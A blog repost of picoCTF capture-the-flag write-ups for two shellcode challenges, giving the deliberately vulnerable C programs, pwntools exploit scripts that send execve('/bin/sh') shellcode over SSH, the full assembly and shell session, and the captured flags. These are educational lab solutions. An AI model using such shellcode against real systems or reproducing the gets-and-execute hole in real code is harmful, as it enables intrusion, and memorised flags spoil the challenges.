首页 > 系统相关 >shellcode的一个demo例子

shellcode的一个demo例子

时间:2023-05-30 22:07:40浏览次数:54  
标签:demo sh vuln 例子 push gid shellcode ecx

handy-shellcode

Binary Exploitation, 50 points

Description:

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}

Solution:

This challenge is similar to last year's shellcode. We'll use pwntools' "shellcode" module to generate a shellcode:

# First, generate a pwntools template using:
# pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af/vuln

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX disabled
# PIE:      No PIE (0x8048000)
# RWX:      Has RWX segments
import os

if shell is not None:
    shell.set_working_directory(os.path.dirname(remote_path))

io = start()

shellcode = shellcraft.sh()
log.info("Shellcode: \n{}".format(shellcode))
io.sendlineafter("Enter your shellcode:", asm(shellcode))

io.interactive()

Output:

root@kali:/media/sf_CTFs/pico/handy-shellcode# python exploit.py
[*] '/media/sf_CTFs/pico/handy-shellcode/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] [email protected]:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Opening new channel: 'pwd': Done
[+] Receiving all data: Done (13B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/tmp/tmp.AwgEXes6oj'
[+] Opening new channel: 'ln -s /home/dvdalt/* .': Done
[+] Receiving all data: Done (0B)
[*] Closed SSH channel with 2019shell1.picoctf.com
[*] Working directory: '/problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af'
[+] Starting remote process '/problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af/vuln' on 2019shell1.picoctf.com: pid 3301954
[*] Shellcode:
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push '/bin///sh\x00' */
        push 0x68
        push 0x732f2f2f
        push 0x6e69622f
        mov ebx, esp
        /* push argument array ['sh\x00'] */
        /* push 'sh\x00\x00' */
        push 0x1010101
        xor dword ptr [esp], 0x1016972
        xor ecx, ecx
        push ecx /* null terminate */
        push 4
        pop ecx
        add ecx, esp
        push ecx /* 'sh\x00' */
        mov ecx, esp
        xor edx, edx
        /* call execve() */
        push SYS_execve /* 0xb */
        pop eax
        int 0x80
[*] Switching to interactive mode

jhh///sh/bin\x89h����\x814$ri��1Qj\x04Y�Q1j\x0bX̀
Thanks! Executing now...
$ $ ls
flag.txt  vuln    vuln.c
$ $ cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}

shellcode

Binary Exploitation, 200 points

Description:

This program executes any input you give it. Can you get a shell?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();
     
  return 0;
}

Solution:

We'll use pwntools' "shellcode" module to generate a shellcode:

from pwn import *
import argparse
import os

EXECUTABLE = "vuln"
LOCAL_PATH = "./"
REMOTE_PATH = "/problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed/"
SSH_SERVER = "2018shell3.picoctf.com"

def get_process_path(is_ssh = False):
    if is_ssh or os.path.exists(REMOTE_PATH):
        return REMOTE_PATH + EXECUTABLE
    else:
        return LOCAL_PATH + EXECUTABLE

def get_process(ssh_user = None):
    is_ssh = ssh_user is not None
    path = get_process_path(is_ssh)
    params = {"argv": path, "cwd": os.path.dirname(path)}
    if is_ssh:
        s = ssh(host=SSH_SERVER, user=ssh_user)
        p = s.process(**params)
    else:
        p = process(**params)
    return p


parser = argparse.ArgumentParser()
parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username")
args = parser.parse_args()

context.binary = get_process_path()
p = get_process(args.ssh_user)
shellcode = shellcraft.sh()
print "Shellcode:"
print shellcode

payload = asm(shellcode)
p.sendlineafter("Enter a string!", payload)
p.interactive()

Output:

root@kali:/media/sf_CTFs/pico/shellcode# python exploit.py --ssh_user=$pico_ssh_user
[*] '/media/sf_CTFs/pico/shellcode/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Connecting to 2018shell3.picoctf.com on port 22: Done
[*] [email protected]:
    Distro    Ubuntu 16.04
    OS:       linux
    Arch:     amd64
    Version:  4.4.0
    ASLR:     Enabled
[+] Starting remote process '/problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed/vuln' on 2018shell3.picoctf.com: pid 94685
Shellcode:
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

[*] Switching to interactive mode

jhh///sh/bin\x89h����\x814$ri��1Qj\x04Y�Q1j\x0bX̀
Thanks! Executing now...
$ $ ls
flag.txt  vuln    vuln.c
$ $ cat flag.txt
picoCTF{shellc0de_w00h00_9ee0edd0}$ $ exit
[*] Got EOF while reading in interactive
$
[*] Stopped remote process 'vuln' on 2018shell3.picoctf.com (pid 94685)
[*] Got EOF while sending in interactive

The flag: picoCTF{shellc0de_w00h00_9ee0edd0}

 

标签:demo,sh,vuln,例子,push,gid,shellcode,ecx
From: https://blog.51cto.com/u_11908275/6382252

相关文章

  • AI demo framework
     importpickleimportmatplotlib.pyplotaspltfromsklearnimportdatasetsfromsklearn.model_selectionimporttrain_test_splitfromsklearn.neighborsimportKNeighborsClassifierfromsklearn.model_selectionimportcross_val_scorefromsklearnimportm......
  • Intel daal4py demo运行过程
    daal安装(记得先安装anaconda):gitclonehttps://github.com/IntelPython/daal4py.gitcddaal4pycondacreate-nDAAL4PY-cintel-cintel/label/test-cconda-forgepython=3.6mpichcnctbb-develdaaldaal-includecythonjinja2numpysourceactivateDAAL4PYexportC......
  • AngularJS2.0 一个表单例子——总体说来还是简化了1.x 使用起来比较自然
    <!doctypehtml><html><head><metacharset="utf-8"><title>NgForm</title><scripttype="text/javascript"src="lib/[email protected]"></script><scripttype=&......
  • MarkdownDemo
    标题语法与#号键有关,此为二级标题段落要创建段落,请使用空白行将一行或多行文本进行分隔。suchasthis标题似乎自带空白行换行语法在一行的末尾添加两个或多个空格,然后按回车键,即可创建一个换行似乎用处不大(换行还得是回车键)强调语法通过将文本设置为粗体或斜体来强调......
  • U3DFrameWorkDemo:六、网络
    代码参考代码文件参考下述详解的类图,工程参考第零章工程说明概述在多人联机游戏中,大多采用前、后台的架构,前台多表现相关,后台则多交互、资产相关。网络消息的传递其实是由系统内核完成的,大多语言封装了Socket库面向开发者提供网络消息传递的接口,而这里的网络模块是对网络消息传......
  • Multiserver游戏服务器Demo[C++&Lua]
    代码参考代码文件参考下述详解的类图,工程参考第零章工程说明关键特性对Socket库进行封装,抹平Socket的Window&Linux的平台差异。C++嵌入lua脚本,增加开发者编码效率,减少编译时间消耗。非阻塞网络IO多线程任务模型多服务模型详解Socket库封装主要是对C++的Socket库进行......
  • 简单MySQL例子演示MVCC
    一沈秋园,满庭霜落,云烟北桥夜连城MVCC是多版本并发控制的缩写,是一种数据库和编程语言中常用的并发控制方法。它通过保存数据的历史版本,实现对数据库的高效访问。MySQL中MVCC主要是通过行记录中的隐藏字段(隐藏主键row_id,事务IDtrx_id,回滚指针roll_pointer),undo_log(版本链),Rea......
  • 通过实际的例子,介绍编译器的工作过程
    本文详细介绍下面这张图。编译器是将高级语言代码翻译为机器语言代码的工具。编译器的工作可以划分为多个重要阶段,以下是其中几个常见的阶段,并给出了具体例子:词法分析(LexicalAnalysis):在词法分析阶段,编译器将源代码分解成词法单元(Token)序列。词法单元是语法上具有意义的最小......
  • c语言,函数的址传递例子
    编码如下:#include<stdio.h>voidswap(int*x,int*y){inttmp;tmp=*x;*x=*y;*y=tmp;};intmain(){inta=4;intb=5;printf("befer\n");printf("a=%d\n",a);printf("b=%d\n",b);swap(&am......
  • U3DFrameWorkDemo:四、资源打包和热更
    代码参考代码文件参考下述详解的类图,工程参考第零章工程说明概述热更新方便用户更新,增加用户的留存量。它依赖打包生成的版本文件。思路打包考虑分包策略,包体太大加载速度慢且可能有无效的内存冗余,包体太小可能会频繁加载AB造成效率下降。核心思想是把用到的东西放在一起,通......